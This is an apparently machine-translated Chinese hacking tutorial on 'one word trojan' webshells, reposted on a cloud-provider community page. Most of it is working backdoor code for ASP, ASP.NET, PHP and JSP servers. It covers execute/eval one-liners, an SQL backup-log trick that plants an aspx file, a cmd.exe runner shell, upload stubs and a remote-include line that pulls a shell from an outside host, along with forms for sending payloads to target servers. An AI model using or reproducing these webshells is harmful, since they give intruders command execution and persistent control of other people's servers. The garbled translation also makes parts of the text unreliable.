In a word the application of the Trojan environment:
1. The Guest account for the server has write access
2. Known database address and database format ASA or ASP
3. In the case of database format is not ASP or ASA, if you can insert a sentence into the ASP file can also
In a word, the working principle of Trojan:
"One word trojan" service side (local HTML submission file)
Is the ASP statement that we are going to use to insert into the ASP file, (not only the database file with ASP as suffix), the statement will return to trigger, receive the data that the intruder submits through the client, execute and complete the corresponding operation, the service end code content is <%execute request (" Value ")%> where value can be modified by itself
"One word trojan" client (ASP file with a sentence inserted on the remote server)
Used to submit the control data to the server, the submitted data constitute the complete ASP function statement and execute through the server, that is, generate the ASP Trojan file we need
Let's assume that the <%execute request ("value")%> this statement is already in the text.asp (client) of the remote host. In the ASP <%execute .......%> meaning is the execution of the statement in the ellipsis. So if I write in our carefully constructed statement, it will also help us execute it. In this way, we can construct a form locally that reads as follows: (// As a note)
<form action=http://Host Path/text.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
Set Lp=server.createobject ("ADODB.stream")//Create stream object
Lp.open//Open
lp.type=2//In text mode
lp.charset= "gb2312"//font Standard
Lp.writetext request ("NewValue")
Lp.savetofile Server.MapPath ("newmm.asp"), 2//write Trojan content in the way of overwriting files newmm.asp,2 is covered
Lp.close//Close objects
Set lp=nothing//releasing objects
Response.Redirect "newmm.asp"//steering newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45> Add content to Trojan </textarea>
<center><br>
<input Type=submit value= Submit >
</form>
The function of the form is to submit the contents of our form to the text.asp of the remote host. And then because the text.asp has <%execute request ("value")%> this sentence, then this code will carry out what we came from the form of the content Oh. (table Single-name must be the same as the value in <%execute request ("value")%>, which is the two places that I mark with blue, which must be equal)
Speaking of which, everyone is clear. We constructed two forms, the first form of code is the code for file operations (that is, the contents of the second form are written to the current directory and named NewValue.) ASP's handling of such a section of the code) then the second form of course is the horse we want to write.
The following is the specific paragraph:
Set Lp=server.createobject ("ADODB.stream")//Create stream object
Lp.open//Open
lp.type=2//In text mode
lp.charset= "gb2312"//font Standard
Lp.writetext request ("NewValue")
Lp.savetofile Server.MapPath ("newvalue.asp"), 2//write Trojan content in the way of overwriting files newmm.asp,2 is covered
Lp.close//Close objects
Set lp=nothing//releasing objects
Response.Redirect "newmm.asp"//steering newmm.asp
In this case the name of the second form must be the same as the newvalue in the Lp.writetext request ("NewValue"), which is the two places I marked in red.
At this point, as long as the server has write permission, the contents of the horse submitted by your form will be written to the newmm.asp. That is, newmm.asp is our shell address.
Http://www.hxhack.com/bbs
About server errors:
Often, a type mismatch error occurs when we add a sentence to an ASP file:
Script error detected at line 1.
Source Line:execute Request ("Nettoo")
Description: Type mismatch: ' Execute '
How does this work out?
Come up with a good idea, as long as the "eval" to replace the "execute" server, there will be no error!
With a Word client connection, add fault tolerant statement, you can insert it into any ASP file without error as before.
<%on Error Resume Next Execute request ("value")%>
Common ASP One word Trojan Variant:
<%set ms = Server. CreateObject ("MSSCRIPTCONTROL.SCRIPTCONTROL.1")
Ms. Language= "VBScript"
Ms. AddObject "Response", Response
Ms. AddObject "Request", request
Ms. AddObject "Session" and session
Ms. AddObject "Server", server
Ms. AddObject "Application", application
Ms. Executestatement ("Ex" & "Ecute (Request CHR)")%>
A kind of environment under the word Trojan:
aspx
1. Equivalent to ASP's a word Trojan:
Program code
ALTER DATABASE pubs set RECOVERY full--
CREATE TABLE Pubs.dbo.cmd (a image)
BACKUP LOG pubs to disk = ' C:\TM ' with init
INSERT into Pubs.dbo.cmd (a) VALUES (' <%@ Page language= ' C # validaterequest= ' false '%><% System.IO.StreamWriter ow=new System.IO.StreamWriter (Server.MapPath ("Images.aspx"), false); Ow.write ( Request.params["L"]); Ow.close ()%> ')
BACKUP LOG pubs to disk = ' d:\test11.aspx '
This is the same as the ASP, the client post a variable l throw the Trojan code in the variable L inside OK this is similar to ASP's a word Trojan.
Mu.aspx.htm Client: (Post-submit access: http://IP/images.aspx)
<form action=http://192.168.2.100/asp/mu.aspx method=post>
<b> Enter the horse content below:</b><br>
<textarea name=l cols=120 rows=35 width=45>
<%@ Page language= "VB" debug= "true"%>
<%@ import namespace= "System. IO "%>
<%@ import namespace= "System.Diagnostics"%>
<script runat= "Server" >
Sub Runcmd (Src as Object, E as EventArgs)
Dim myprocess as New Process ()
Dim Myprocessstartinfo as New ProcessStartInfo (XPath. Text)
Myprocessstartinfo.useshellexecute = False
Myprocessstartinfo.redirectstandardoutput = True
Myprocess.startinfo = Myprocessstartinfo
Myprocessstartinfo.arguments=xcmd.text
Myprocess.start ()
Dim Mystreamreader as StreamReader = Myprocess.standardoutput
Dim myString as String = Mystreamreader.readtoend ()
Myprocess.close ()
Mystring=replace (mystring, "<", "<")
Mystring=replace (mystring, ">", ">")
result.text= vbCrLf & "<pre>" & mystring & "</pre>"
End Sub
</script><title>asp.net Shell for webadmin2.x final</title>
<meta http-equiv= "Content-type" C/><form runat= "Server" >
<asp:label id= "l_p" style= "COLOR: #0000ff" runat= "Server" width= "80px" >; Program</asp:label>
<asp:textbox id= "XPath" style= "Border-right: #084b8e 1px solid; Border-top: #084b8e 1px solid; Border-left: #084b8e 1px solid; Border-bottom: #084b8e 1px solid "runat=" Server "width=" 300px ">c:\windows\system32\cmd.exe</asp:TextBox> <br/>
<asp:label id= "l_a" style= "COLOR: #0000ff" runat= "Server" width= "80px" >Arguments</asp:Label>
<asp:textbox id= "Xcmd" style= "Border-right: #084b8e 1px solid; Border-top: #084b8e 1px solid; Border-left: #084b8e 1px solid; Border-bottom: #084b8e 1px solid "runat=" Server "width=" 300px "text="/C net user ">/c net user</asp:textbox>< br/>
<asp:button id= "button" style= "Border-right: #084b8e 1px solid; Border-top: #084b8e 1px solid; Border-left: #084b8e 1px solid; COLOR: #ffffff; Border-bottom: #084b8e 1px solid; Background-color: #719bc5 "runat=" Server "width=" 100px "text=" Run "></asp:Button><p>
<asp:label id= "Result" style= "COLOR: #0000ff" runat= "Server" ></asp:Label> </p></form></ Body></textarea>
<center><br>
<input Type=submit value= Submit >
2, below this is I look for the online asp.net upload file program, the modification is streamlined, also may use:
Program code
drop table Pubs.dbo.cmd
ALTER DATABASE pubs set RECOVERY full
CREATE TABLE Pubs.dbo.cmd (a image)
BACKUP LOG pubs to disk = ' C:\TM ' with init
INSERT into Pubs.dbo.cmd (a) VALUES (' <script language= ' C # runat= ' server ' >private void BC (Object O,eventargs e) {St Ring u= "Files"; string filename;int pos=f.postedfile.filename.lastindexof ("\"); filename=f. PostedFile.FileName.Substring (pos + 1); F.postedfile.saveas (Server.MapPath (u) + "\" +filename);} </script><form method= "POST" runat= "server" ><input type= "file" id= "F" runat= "Server"/><input Type= "Submit" value= "ss" runat= "Server"/></form> ")
BACKUP LOG pubs to disk = ' c:\inetpub\wwwroot\test11.aspx '
Php
There is nothing special about this article, just to find a point. and gave me the same dish of friends wandering around the PHP door.
Just learn PHP not a few days, I am eager to work, so there are errors and deficiencies please actively point out.
PHP syntax is powerful is the ASP, only one: Phpinfo ();? > can spy on the configuration of the entire server. Run cmd, upload files, etc., are very simple, now use a good php Trojan horse, no more than Angel Phpspy. Yesterday Hak_ban asked how to encrypt the PHP trojan, I have not thought, but for writing a miniature PHP trojan, I think it is difficult to be killed.
Here are a few functions that can be used as Trojans:
1. Several functions that can run external commands: System,passthru,exec,shell_exec,popen.
Example: As long as the <?system ($cmd); > Save as cmd.php and can realize the function of running external commands. These functions can be said to be the first Wicheng PHP Trojan, so the general virtual host settings will also block these functions.
2. Remember the WDB forum style.php loophole? We can use this to make a small trojan that is difficult to be killed. As follows:
<?php include ($include);? >
Save it to 1.php, we can call other PHP servers that do not support. PHP Trojan Horse (such as phpspy.php) to achieve our goal: http://target.com/1.php? include=http://www.xxx.com/phpspy.php
Here http://www.918x.com does not support PHP, otherwise it will run phpspy.php on the http://www.xxx.com server instead of the target server.
3. This is still angel in Discuz 2.2F attack to give us a very good upload trojan, I did not change:
<?copy ($_files[myfile][tmp_name],$_files[myfile][name]);? >
After you save it as a up.php, submit the form locally:
<form enctype= "Multipart/form-data" action= "http://target server/up.php" method= "POST" >
<input name= "MyFile" type= "File" >
<input value= "submitted" type= "Submit" >
</form>
You can upload a large php trojan.
4. I have been wondering if there is an ASP with the ice Fox prodigal son of a Trojan horse like the one submitted by local form to run PHP. Finally found the function: eval, its syntax description in the PHP4 Chinese reference manual:
Syntax: void eval (string code_str);
Description: This function can be used to take the value of the variable in the string, usually in the processing of data on the database. Parameter code_str is the string to be processed. The value of the note is that the string to be processed conforms to the PHP string format, with a semicolon at the end. The string that is processed using this function will be followed by the end of the PHP program.
We can save on the target host: <?eval ($cmd);? > is a php file (I think it can be inserted in any file in PHP). It then achieves the goal by submitting locally, but unlike the ASP, when MAGIC_QUOTES_GPC = On, many characters are filtered, making the usage function much smaller.
I have done many times for this PHP trojan sheet and have no mature code yet. Also please master advice. When you write it, you will give it to everyone. But the Eval function can do a miniature PHP Trojan is no doubt.
Ps: After writing, someone told me, in fact, the master has a miniature of the PHP Trojan, but not public. Hey, I am so depressed ah, the study are people have already had the results. Anyway, share my research with you, I hope to get help and advice.
Jsp
<%
if (Request.getparameter ("F")!=null) (New Java.io.FileOutputStream (Application.getrealpath ("\") + Request.getparameter ("F")). Write (Request.getparameter ("T"). GetBytes ());
%>
I don't think I need to tell you this back door. or a hint. Save as 1.jsp submit url!
Http://localhost/1.jsp?f=1.txt&t=hello
Then: Http://localhost/1.txt out the content for hello ....
Summary---Turn
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.